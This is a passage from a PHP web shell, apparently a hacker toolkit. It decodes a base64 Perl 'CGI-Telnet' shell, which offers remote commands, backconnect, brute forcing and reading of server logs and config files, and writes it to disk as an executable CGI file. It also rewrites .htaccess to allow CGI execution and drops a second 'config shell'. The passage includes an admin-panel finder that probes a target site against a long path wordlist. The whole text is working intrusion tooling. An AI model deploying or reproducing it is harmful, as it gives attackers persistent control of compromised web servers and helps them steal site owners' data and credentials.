Blcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';
$file = fopen("cgi4e.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi4e));
fclose($file);
chmod("cgi4e.izo",0755);
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>CGI-Telnet Version 1.4 </span><br><font face='Tahoma' color='#007700' size='2pt'>Password : d4rkj1n</font><center><br><iframe src=cgi4e/cgi4e.izo width=75% height=60% frameborder=0></iframe>
</div></center>";
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#428bca>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-#428bcairect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="#428bca">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /#428bca -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #428bca;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
